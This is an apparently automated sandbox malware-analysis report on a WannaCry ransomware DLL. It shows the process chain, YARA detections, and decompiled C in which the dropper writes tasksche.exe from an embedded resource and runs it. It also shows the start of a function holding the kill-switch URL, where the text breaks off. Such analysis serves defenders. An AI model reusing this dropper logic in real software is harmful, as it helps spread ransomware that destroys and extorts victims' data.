2022-12-22 09:04:42 UTC	243	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 39 31 64 38 39 36 64 61 37 62 62 34 30 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: a991d896da7bb400<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:04:42 UTC	244	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 39 31 64 38 39 36 64 61 37 62 62 34 30 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: a991d896da7bb400
2022-12-22 09:04:43 UTC	244	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:04:43 UTC	244	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 4f 69 56 4c 4a 6f 39 61 55 32 76 6c 4d 57 43 4d 56 71 35 51 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: GOiVLJo9aU2vlMWCMVq5QQ.0Payload parsing failed.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 5368, Parent PID: 3452

General

Target ID:	0
Start time:	10:03:08
Start date:	22/12/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll"
Imagebase:	0x3c0000
File size:	116736 bytes
MD5 hash:	1F562FBF37040EC6C43C8D5EF619EA39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5372, Parent PID: 5368

General

Target ID:	1
Start time:	10:03:08
Start date:	22/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5516, Parent PID: 5368

General

Target ID:	2
Start time:	10:03:09
Start date:	22/12/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5500, Parent PID: 5368

General

Target ID:	3
Start time:	10:03:09
Start date:	22/12/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\IU28r0EZFA.dll,PlayGame
Imagebase:	0x1240000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5416, Parent PID: 5516

General

Target ID:	4
Start time:	10:03:09
Start date:	22/12/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1
Imagebase:	0x1240000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 5412, Parent PID: 5416

General

Target ID:	5
Start time:	10:03:09
Start date:	22/12/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	727563948E9A258D34E604AC7819FC00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.250545715.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.251058455.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.252370935.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.253622528.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1972, Parent PID: 5368

General

Target ID:	6
Start time:	10:03:12
Start date:	22/12/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",PlayGame
Imagebase:	0x1240000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 5940, Parent PID: 1972

General

Target ID:	7
Start time:	10:03:12
Start date:	22/12/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	727563948E9A258D34E604AC7819FC00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.256853594.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.258546665.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.259116711.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.265323561.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.257654724.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 4764, Parent PID: 576

General

Target ID:	8
Start time:	10:03:13
Start date:	22/12/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	727563948E9A258D34E604AC7819FC00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000002.781421602.00000000023C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000002.779909351.0000000001E99000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.258739845.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 3200, Parent PID: 5412

General

Target ID:	9
Start time:	10:03:15
Start date:	22/12/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	84806E27AD3982217395D30B692077FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 79%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 4652, Parent PID: 5940

General

Target ID:	10
Start time:	10:03:16
Start date:	22/12/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	84806E27AD3982217395D30B692077FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2224, Parent PID: 576

General

Target ID:	11
Start time:	10:03:25
Start date:	22/12/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3340, Parent PID: 576

General

Target ID:	12
Start time:	10:03:30
Start date:	22/12/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1576, Parent PID: 576

General

Target ID:	13
Start time:	10:03:31
Start date:	22/12/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: SgrmBroker.exePID: 3244, Parent PID: 576

General

Target ID:	14
Start time:	10:03:31
Start date:	22/12/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7f1760000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4112, Parent PID: 576

General

Target ID:	15
Start time:	10:03:31
Start date:	22/12/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3868, Parent PID: 576

General

Target ID:	16
Start time:	10:03:32
Start date:	22/12/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3096, Parent PID: 576

General

Target ID:	17
Start time:	10:03:32
Start date:	22/12/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MpCmdRun.exePID: 4572, Parent PID: 3868

General

Target ID:	18
Start time:	10:04:33
Start date:	22/12/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff6f0a50000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5248, Parent PID: 4572

General

Target ID:	19
Start time:	10:04:33
Start date:	22/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 5412, Parent PID: 5416COMMON

Execution Graph

Execution Coverage:	71.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.2%
Total number of Nodes:	38
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x746af7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x746afc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,7006FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

tasksche.exe, xrefs: 00407DEA
WriteFile, xrefs: 00407D1C
D, xrefs: 00407ED3
CreateProcessA, xrefs: 00407D07
C:\%s\qeriuwjhrf, xrefs: 00407E12
C:\%s\%s, xrefs: 00407DFB
WINDOWS, xrefs: 00407DF2, 00407E0D
kernel32.dll, xrefs: 00407CEA
/i, xrefs: 00407E8D
CloseHandle, xrefs: 00407D29
CreateFileA, xrefs: 00407D0F

Memory Dump Source

Source File: 00000005.00000002.262697480.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.262688682.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262711248.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262716917.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262755515.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262798278.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262954779.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000005.00000002.262697480.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.262688682.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262711248.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262716917.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262755515.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262798278.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.262954779.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
